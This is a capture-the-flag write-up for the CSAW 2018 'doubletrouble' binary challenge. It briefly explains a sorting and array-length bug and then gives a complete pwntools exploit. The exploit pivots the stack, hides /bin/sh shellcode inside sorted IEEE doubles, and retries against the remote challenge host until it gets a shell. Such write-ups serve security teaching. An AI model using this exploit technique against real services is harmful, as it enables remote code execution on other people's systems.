**Description**
> Did you know every Number in javascript is a float> > `pwn.chal.csaw.io:9002`> > nsnc
**Files provided**
 - [`doubletrouble`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/doubletrouble)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is the total length will increase in `find_array`
```cint __cdecl findArray(int *a1, double *a2, double a3, double a4){  int v5; // [esp+1Ch] [ebp-4h]
  v5 = *a1;  while ( *a1 < 2 * v5 )  {    if ( a2[*a1 - v5] > (long double)a3 && a4 > (long double)a2[*a1 - v5] )      return *a1 - v5;    ++*a1;  }  *a1 = v5;  return 0;}```
Then it will sort according to the increased size, which can affect return address.
However, there is canary, so we need to let the canary stay at the same position after sorting, with return address being changed.
What I've chosen is to set it as `leave ret`, and pivot the stack into our double array, then execute `retn` to execute our shellcode in the form of IEEE double. Also, the shellcode must be sorted, which can be implemented by manipulating the exponential part of IEEE double, while the digits are our shellcode with `jmp short`.
This takes me a lot of time, and we need to execute `/bin/sh` instead of `/bin/csh` as it suggested in the strings in the executable. Also, since canary is random, we cannot be sure about the position of canary after sorting, so my approach gives about `1/40` probability.
//todo, more detailed illustration later
```pythonfrom pwn import *import structg_local=Falsecontext.log_level='debug'
LEAVE_RET = 0x08049166DOUBLE_OFF = 0def to_double(num):	return struct.unpack('<d', p64(num))[0]
def make_ieee_double(exp, digit, sign = 1):	assert sign == 1 or sign == 0	assert digit >= 0 and digit < (1 << 52)	rexp = exp + 1023	assert rexp >= 0 or rexp < 2048	return to_double((sign << 63) + (rexp << 52) + digit)
def shellcodes_4(asmcode):	ret = asm(asmcode)	assert len(ret) <= 4	return u64(ret.ljust(4, "\x90") + '\xeb\x02\x00\x00')
def make_shellcode(shpath):	assert len(shpath) % 4 == 0	ret = []	e = 1000	#0x804A127	for x in range(0, len(shpath), 4)[::-1]:		ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x+2:x+4])))))		e -= 1		ret.append(make_ieee_double(e, shellcodes_4("shl eax,16")))		e -= 1		ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x:x+2])))))		e -= 1		ret.append(make_ieee_double(e, shellcodes_4("push eax")))		e -= 1	#0x804BFF0	ret.append(make_ieee_double(e, shellcodes_4("push esp")))	e -= 1	ret.append(make_ieee_double(e, shellcodes_4("mov ax,0x804")))	e -= 1	ret.append(make_ieee_double(e, shellcodes_4("shl eax,16")))	e -= 1	ret.append(make_ieee_double(e, shellcodes_4("mov ax,0xBFF0")))	e -= 1	ret.append(make_ieee_double(e, shellcodes_4("mov eax,[eax]")))	e -= 1	ret.append(make_ieee_double(e, shellcodes_4("call eax")))	return ret
def exploit():	if g_local:		sh = process('./doubletrouble')#env={'LD_PRELOAD':'./libc.so.6'}		shstr = "/bin/sh\x00"		gdb.attach(sh)	else:		sh = remote("pwn.chal.csaw.io", 9002)		shstr = "/bin/sh\x00"	sh.recvuntil("0x")	leak = int(sh.recv(8),16)	arr = leak + DOUBLE_OFF	smallest = make_ieee_double(1020, arr + 0x20)	bigger = make_ieee_double(800, 0xdeadbeef)
	payload = [smallest] * 4 + [-50.0] + [to_double((LEAVE_RET << 32) + arr - 4)] * 2 + make_shellcode(shstr)	payload += [bigger] * (64-len(payload))	assert len(payload) == 64	sh.recvuntil("How long: ")	sh.send(str(len(payload)) + "\n")	for n in payload:		sh.recvuntil("Give me: ")		sh.send(repr(n) + "\n")	sh.recvuntil("Sorted Array:")	ret = sh.recvuntil("terminated\r\n", timeout = 3.0)	if ret == '':		sh.interactive()	else:		return sh
while True:	try:		exploit().close()	except Exception as e:		print "failed"```